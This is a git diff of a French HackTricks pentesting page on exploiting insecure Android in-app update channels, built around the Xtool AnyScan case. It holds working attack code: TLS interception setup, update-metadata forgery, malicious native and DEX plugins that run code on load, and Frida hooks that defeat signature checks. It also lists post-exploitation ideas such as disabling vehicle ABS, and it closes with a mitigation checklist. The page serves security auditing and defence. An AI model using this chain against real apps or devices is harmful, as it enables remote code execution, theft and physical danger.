mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/insecure-in-ap
This commit is contained in:
parent
f91d8546bc
commit
5fe29531b1
@ -1,16 +1,49 @@
|
|||||||
# Mécanismes de mise à jour insecures dans l'application – Exécution de code à distance via des plugins malveillants
|
# Mécanismes d'In-App Update non sécurisés – Remote Code Execution via Malicious Plugins
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
De nombreuses applications Android mettent en œuvre leurs **propres canaux de mise à jour “plugin” ou “fonctionnalité dynamique”** au lieu d'utiliser le Google Play Store. Lorsque l'implémentation est insecure, un attaquant capable d'intercepter le trafic peut fournir **du code natif arbitraire qui sera chargé dans le processus de l'application**, entraînant une Exécution de Code à Distance (RCE) complète sur le téléphone – et dans certains cas sur tout appareil externe contrôlé par l'application (voitures, IoT, dispositifs médicaux…).
|
De nombreuses applications Android implémentent leurs propres canaux de mise à jour “plugin” ou “dynamic feature” au lieu d'utiliser le Google Play Store. Quand l'implémentation est vulnérable, un attaquant capable d'intercepter ou de manipuler le trafic de mise à jour peut fournir du code natif arbitraire ou du code Dalvik/ART qui sera chargé dans le processus de l'app, conduisant à une Remote Code Execution (RCE) complète sur le téléphone — et dans certains cas sur tout dispositif externe contrôlé par l'app (voitures, IoT, dispositifs médicaux …).
|
||||||
|
|
||||||
Cette page résume une chaîne de vulnérabilité du monde réel trouvée dans l'application de diagnostic automobile Xtool **AnyScan** (v4.40.11 → 4.40.40) et généralise la technique afin que vous puissiez auditer d'autres applications Android et exploiter la mauvaise configuration lors d'un engagement de red team.
|
Cette page résume une chaîne de vulnérabilité réelle trouvée dans l'app de diagnostic automobile Xtool AnyScan (v4.40.11 → 4.40.40) et généralise la technique pour que vous puissiez auditer d'autres apps Android et exploiter la mauvaise configuration lors d'un engagement red-team.
|
||||||
|
|
||||||
---
|
---
|
||||||
## 1. Identifier un TrustManager TLS insecure
|
## 0. Triage rapide : l'app dispose-t-elle d'un in‑app updater ?
|
||||||
|
|
||||||
1. Décompilez l'APK avec jadx / apktool et localisez la pile réseau (OkHttp, HttpUrlConnection, Retrofit…).
|
Indices statiques à rechercher dans JADX/apktool :
|
||||||
2. Recherchez un **`TrustManager`** ou `HostnameVerifier` personnalisé qui fait confiance aveuglément à chaque certificat :
|
- Chaînes : "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
|
||||||
|
- Endpoints réseau comme `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`.
|
||||||
|
- Helpers crypto près des chemins de mise à jour (DES/AES/RC4; Base64; JSON/XML packs).
|
||||||
|
- Dynamic loaders : `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`.
|
||||||
|
- Chemins d'unzip écrivant sous app-internal ou external storage, puis chargeant immédiatement un `.so`/DEX.
|
||||||
|
|
||||||
|
Hooks runtime pour confirmer :
|
||||||
|
```js
|
||||||
|
// Frida: log native and dex loading
|
||||||
|
Java.perform(() => {
|
||||||
|
const Runtime = Java.use('java.lang.Runtime');
|
||||||
|
const SystemJ = Java.use('java.lang.System');
|
||||||
|
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
|
||||||
|
|
||||||
|
SystemJ.load.overload('java.lang.String').implementation = function(p) {
|
||||||
|
console.log('[System.load] ' + p); return this.load(p);
|
||||||
|
};
|
||||||
|
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
|
||||||
|
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
|
||||||
|
};
|
||||||
|
Runtime.load.overload('java.lang.String').implementation = function(p){
|
||||||
|
console.log('[Runtime.load] ' + p); return this.load(p);
|
||||||
|
};
|
||||||
|
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
|
||||||
|
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
|
||||||
|
return this.$init(dexPath, optDir, libPath, parent);
|
||||||
|
};
|
||||||
|
});
|
||||||
|
```
|
||||||
|
---
|
||||||
|
## 1. Identification d'un TrustManager TLS non sécurisé
|
||||||
|
|
||||||
|
1. Décompilez l'APK avec jadx / apktool et localisez la stack réseau (OkHttp, HttpUrlConnection, Retrofit…).
|
||||||
|
2. Recherchez un `TrustManager` personnalisé ou un `HostnameVerifier` qui fait confiance aveuglément à tous les certificats :
|
||||||
```java
|
```java
|
||||||
public static TrustManager[] buildTrustManagers() {
|
public static TrustManager[] buildTrustManagers() {
|
||||||
return new TrustManager[]{
|
return new TrustManager[]{
|
||||||
@ -22,25 +55,36 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
3. S'il est présent, l'application acceptera **n'importe quel certificat TLS** → vous pouvez exécuter un **proxy MITM** transparent avec un certificat auto-signé :
|
3. Si présent, l'application acceptera n'importe quel certificat TLS → vous pouvez exécuter un proxy MITM transparent avec un self-signed cert :
|
||||||
```bash
|
```bash
|
||||||
mitmproxy -p 8080 -s addon.py # see §4
|
mitmproxy -p 8080 -s addon.py # see §4
|
||||||
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
|
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
|
||||||
```
|
```
|
||||||
## 2. Ingénierie Inverse des Métadonnées de Mise à Jour
|
Si TLS pinning est appliqué au lieu d'une logique 'trust-all' non sécurisée, voir :
|
||||||
|
|
||||||
Dans le cas d'AnyScan, chaque lancement d'application déclenche un HTTPS GET à :
|
{{#ref}}
|
||||||
|
android-anti-instrumentation-and-ssl-pinning-bypass.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
make-apk-accept-ca-certificate.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
---
|
||||||
|
## 2. Rétro-ingénierie des métadonnées de mise à jour
|
||||||
|
|
||||||
|
Dans le cas d'AnyScan, chaque lancement de l'application déclenche un HTTPS GET vers :
|
||||||
```
|
```
|
||||||
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
||||||
```
|
```
|
||||||
Le corps de la réponse est un **document XML** dont les nœuds `<FileData>` contiennent des JSON **encodés en Base64 et chiffrés en DES-ECB** décrivant chaque plugin disponible.
|
Le corps de la réponse est un document XML dont les nœuds `<FileData>` contiennent Base64-encoded, DES-ECB encrypted JSON décrivant chaque plugin disponible.
|
||||||
|
|
||||||
Étapes typiques de recherche :
|
Typical hunting steps:
|
||||||
1. Localiser la routine crypto (par exemple, `RemoteServiceProxy`) et récupérer :
|
1. Localisez la routine crypto (e.g. `RemoteServiceProxy`) et récupérez :
|
||||||
* algorithme (DES / AES / RC4 …)
|
- algorithme (DES / AES / RC4 …)
|
||||||
* mode de fonctionnement (ECB / CBC / GCM …)
|
- mode d'opération (ECB / CBC / GCM …)
|
||||||
* clé / IV codés en dur (souvent des clés DES de 56 bits ou des clés AES de 128 bits dans des constantes)
|
- clé / IV codée en dur (généralement constantes DES 56‑bit ou AES 128‑bit)
|
||||||
2. Réimplémenter la fonction en Python pour déchiffrer / chiffrer les métadonnées :
|
2. Réimplémentez la fonction en Python pour decrypt / encrypt les métadonnées:
|
||||||
```python
|
```python
|
||||||
from Crypto.Cipher import DES
|
from Crypto.Cipher import DES
|
||||||
from base64 import b64decode, b64encode
|
from base64 import b64decode, b64encode
|
||||||
@ -55,9 +99,17 @@ def encrypt_metadata(plaintext: bytes) -> str:
|
|||||||
cipher = DES.new(KEY, DES.MODE_ECB)
|
cipher = DES.new(KEY, DES.MODE_ECB)
|
||||||
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
|
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
|
||||||
```
|
```
|
||||||
|
Notes seen in the wild (2023–2025) :
|
||||||
|
- Les métadonnées sont souvent du JSON-within-XML ou protobuf ; des algorithmes de chiffrement faibles et des clés statiques sont fréquents.
|
||||||
|
- De nombreux updaters acceptent HTTP en clair pour le téléchargement du payload, même si les métadonnées transitent via HTTPS.
|
||||||
|
- Les Plugins décompressent fréquemment dans le stockage interne de l'app ; certains utilisent encore le stockage externe ou l'ancienne option `requestLegacyExternalStorage`, permettant la manipulation inter-app.
|
||||||
|
|
||||||
|
---
|
||||||
## 3. Créer un plugin malveillant
|
## 3. Créer un plugin malveillant
|
||||||
|
|
||||||
1. Choisissez n'importe quel plugin légitime en ZIP et remplacez la bibliothèque native par votre payload :
|
### 3.1 Chemin de la bibliothèque native (dlopen/System.load[Library])
|
||||||
|
|
||||||
|
1. Prenez n'importe quel ZIP de plugin légitime et remplacez la bibliothèque native par votre payload:
|
||||||
```c
|
```c
|
||||||
// libscan_x64.so – constructor runs as soon as the library is loaded
|
// libscan_x64.so – constructor runs as soon as the library is loaded
|
||||||
__attribute__((constructor))
|
__attribute__((constructor))
|
||||||
@ -71,12 +123,37 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid(
|
|||||||
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
|
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
|
||||||
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
|
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
|
||||||
```
|
```
|
||||||
2. Mettez à jour les métadonnées JSON afin que `"FileName" : "PWNED.zip"` et que `"DownloadURL"` pointe vers votre serveur HTTP.
|
2. Mettez à jour les métadonnées JSON de sorte que `"FileName" : "PWNED.zip"` et `"DownloadURL"` pointent vers votre serveur HTTP.
|
||||||
3. Chiffrez en DES + encodez en Base64 le JSON modifié et copiez-le à l'intérieur de l'XML intercepté.
|
3. Ré-encrypter + encoder en Base64 le JSON modifié et le copier dans le XML intercepté.
|
||||||
|
|
||||||
## 4. Livrer le Payload avec mitmproxy
|
### 3.2 Chemin de plugin basé sur Dex (DexClassLoader)
|
||||||
|
|
||||||
`addon.py` exemple qui *silencieusement* échange les métadonnées originales :
|
Certaines applications téléchargent un JAR/APK et chargent du code via `DexClassLoader`. Construisez un DEX malveillant qui se déclenche au chargement :
|
||||||
|
```java
|
||||||
|
// src/pwn/Dropper.java
|
||||||
|
package pwn;
|
||||||
|
public class Dropper {
|
||||||
|
static { // runs on class load
|
||||||
|
try {
|
||||||
|
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
|
||||||
|
} catch (Throwable t) {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Compile and package to a DEX jar
|
||||||
|
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
|
||||||
|
jar cf dropper.jar -C out/ .
|
||||||
|
d8 --output outdex/ dropper.jar
|
||||||
|
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
|
||||||
|
```
|
||||||
|
Si la cible appelle `Class.forName("pwn.Dropper")`, votre initialiseur statique s'exécute ; sinon, énumérez par réflexion les classes chargées avec Frida et appelez une méthode exportée.
|
||||||
|
|
||||||
|
---
|
||||||
|
## 4. Livrer le payload avec mitmproxy
|
||||||
|
|
||||||
|
`addon.py` : exemple qui remplace silencieusement les métadonnées originales :
|
||||||
```python
|
```python
|
||||||
from mitmproxy import http
|
from mitmproxy import http
|
||||||
MOD_XML = open("fake_metadata.xml", "rb").read()
|
MOD_XML = open("fake_metadata.xml", "rb").read()
|
||||||
@ -89,36 +166,69 @@ MOD_XML,
|
|||||||
{"Content-Type": "text/xml"}
|
{"Content-Type": "text/xml"}
|
||||||
)
|
)
|
||||||
```
|
```
|
||||||
Exécutez un serveur web simple pour héberger le ZIP malveillant :
|
Lancer un serveur web simple pour héberger le ZIP/JAR malveillant :
|
||||||
```bash
|
```bash
|
||||||
python3 -m http.server 8000 --directory ./payloads
|
python3 -m http.server 8000 --directory ./payloads
|
||||||
```
|
```
|
||||||
Lorsque la victime lance l'application, elle va :
|
Lorsque la victime lance l'application, celle-ci va :
|
||||||
* récupérer notre XML falsifié via le canal MITM ;
|
- récupérer notre XML falsifié via le canal MITM ;
|
||||||
* le déchiffrer et l'analyser avec la clé DES codée en dur ;
|
- le déchiffrer et l'analyser avec la crypto codée en dur ;
|
||||||
* télécharger `PWNED.zip` → dézipper dans le stockage privé ;
|
- télécharger `PWNED.zip` ou `plugin.jar` → décompresser dans le stockage privé ;
|
||||||
* `dlopen()` la *libscan_x64.so* incluse, exécutant instantanément notre code **avec les permissions de l'application** (caméra, GPS, Bluetooth, système de fichiers, …).
|
- charger le `.so` ou la DEX incluse, exécutant instantanément notre code avec les permissions de l'app (caméra, GPS, Bluetooth, système de fichiers, …).
|
||||||
|
|
||||||
Parce que le plugin est mis en cache sur le disque, la porte dérobée **persiste à travers les redémarrages** et s'exécute chaque fois que l'utilisateur sélectionne la fonctionnalité associée.
|
Parce que le plugin est mis en cache sur le disque, la backdoor persiste après les redémarrages et s'exécute à chaque fois que l'utilisateur sélectionne la fonctionnalité concernée.
|
||||||
|
|
||||||
## 5. Idées de Post-Exploitation
|
|
||||||
|
|
||||||
* Voler des cookies de session, des jetons OAuth ou des JWT stockés par l'application.
|
|
||||||
* Déposer un APK de deuxième étape et l'installer silencieusement via `pm install` (l'application a déjà `REQUEST_INSTALL_PACKAGES`).
|
|
||||||
* Abuser de tout matériel connecté – dans le scénario AnyScan, vous pouvez envoyer des **commandes OBD-II / CAN bus** arbitraires (déverrouiller les portes, désactiver l'ABS, etc.).
|
|
||||||
|
|
||||||
---
|
---
|
||||||
### Liste de Vérification pour la Détection & la Mitigation (équipe bleue)
|
## 4.1 Contournement des vérifications de signature/hash (lorsqu'elles sont présentes)
|
||||||
|
|
||||||
* NE JAMAIS expédier une version de production avec un TrustManager/HostnameVerifier personnalisé qui désactive la validation des certificats.
|
Si l'updater valide les signatures ou les hash, hooker la vérification pour qu'elle accepte toujours le contenu de l'attaquant :
|
||||||
* Ne pas télécharger de code exécutable depuis l'extérieur de Google Play. Si vous *devez*, signez chaque plugin avec la même clé **apkSigning v2** et vérifiez la signature avant de charger.
|
```js
|
||||||
* Remplacer le cryptage faible/codé en dur par **AES-GCM** et une clé tournante côté serveur.
|
// Frida – make java.security.Signature.verify() return true
|
||||||
* Valider l'intégrité des archives téléchargées (signature ou au moins SHA-256).
|
Java.perform(() => {
|
||||||
|
const Sig = Java.use('java.security.Signature');
|
||||||
|
Sig.verify.overload('[B').implementation = function(a) { return true; };
|
||||||
|
});
|
||||||
|
|
||||||
|
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
|
||||||
|
Java.perform(() => {
|
||||||
|
const Arrays = Java.use('java.util.Arrays');
|
||||||
|
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
|
||||||
|
});
|
||||||
|
```
|
||||||
|
Envisagez également de simuler les méthodes du fournisseur telles que `PluginVerifier.verifySignature()`, `checkHash()`, ou de court‑circuiter la logique de contrôle des mises à jour en Java ou JNI.
|
||||||
|
|
||||||
---
|
---
|
||||||
## Références
|
## 5. Autres surfaces d'attaque dans les mécanismes de mise à jour (2023–2025)
|
||||||
|
|
||||||
|
- Zip Slip path traversal lors de l'extraction de plugins : des entrées malveillantes comme `../../../../data/data/<pkg>/files/target` écrasent des fichiers arbitraires. Toujours sanitiser les chemins des entrées et utiliser des allow‑lists.
|
||||||
|
- External storage staging : si l'app écrit l'archive sur le stockage externe avant de la charger, toute autre app peut la modifier. Scoped Storage ou le stockage interne de l'application évitent cela.
|
||||||
|
- Cleartext downloads : métadonnées via HTTPS mais payload via HTTP → substitution MITM simple.
|
||||||
|
- Incomplete signature checks : comparer seulement le hash d'un seul fichier, pas de l'archive complète ; ne pas lier la signature à la clé du développeur ; accepter n'importe quelle clé RSA présente dans l'archive.
|
||||||
|
- React Native / Web-based OTA content : si les bridges natifs exécutent du JS provenant d'une OTA sans signature stricte, une exécution de code arbitraire dans le contexte de l'app est possible (par ex., flux de type CodePush-like non sécurisés). Assurez detached update signing et une vérification stricte.
|
||||||
|
|
||||||
|
---
|
||||||
|
## 6. Post-Exploitation Ideas
|
||||||
|
|
||||||
|
- Voler les cookies de session, tokens OAuth, ou JWT stockés par l'app.
|
||||||
|
- Déployer un APK de seconde étape et l'installer silencieusement via `pm install` si possible (certaines apps déclarent déjà `REQUEST_INSTALL_PACKAGES`).
|
||||||
|
- Abuser de tout matériel connecté – dans le scénario AnyScan vous pouvez envoyer des commandes OBD‑II / CAN bus arbitraires (déverrouiller les portes, désactiver l'ABS, etc.).
|
||||||
|
|
||||||
|
---
|
||||||
|
### Detection & Mitigation Checklist (blue team)
|
||||||
|
|
||||||
|
- Évitez le chargement dynamique de code et les mises à jour hors‑magasin. Préférez les mises à jour gérées par Play. Si les plugins dynamiques sont indispensables, concevez‑les comme des bundles contenant uniquement des données et conservez le code exécutable dans l'APK de base.
|
||||||
|
- Appliquez correctement TLS : pas de custom trust‑all managers ; déployez le pinning lorsque possible et une configuration réseau durcie qui interdit le trafic en clair.
|
||||||
|
- Ne téléchargez pas de code exécutable en dehors de Google Play. Si nécessaire, utilisez detached update signing (p.ex., Ed25519/RSA) avec une clé détenue par le développeur et vérifiez avant de charger. Liez métadonnées et payload (longueur, hash, version) et échouez en mode fermé.
|
||||||
|
- Utilisez de la crypto moderne (AES‑GCM) avec des nonces par message pour les métadonnées ; retirez les clés hard‑codées côté client.
|
||||||
|
- Validez l'intégrité des archives téléchargées : vérifiez une signature couvrant chaque fichier, ou au minimum vérifiez un manifeste de hash SHA‑256. Rejetez les fichiers supplémentaires/inconnus.
|
||||||
|
- Stockez les téléchargements dans le stockage interne de l'app (ou Scoped Storage sur Android 10+) et utilisez des permissions de fichiers qui empêchent la falsification inter‑app.
|
||||||
|
- Défendez‑vous contre Zip Slip : normalisez et validez les chemins d'entrée zip avant extraction ; rejetez les chemins absolus ou les segments `..`.
|
||||||
|
- Envisagez Play “Code Transparency” pour permettre à vous et aux utilisateurs de vérifier que le code DEX/native livré correspond à ce que vous avez construit (complémentaire mais ne remplace pas APK signing).
|
||||||
|
|
||||||
|
---
|
||||||
|
## References
|
||||||
|
|
||||||
- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
|
- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
|
||||||
- [Android – Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
|
- [Android Developers – Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user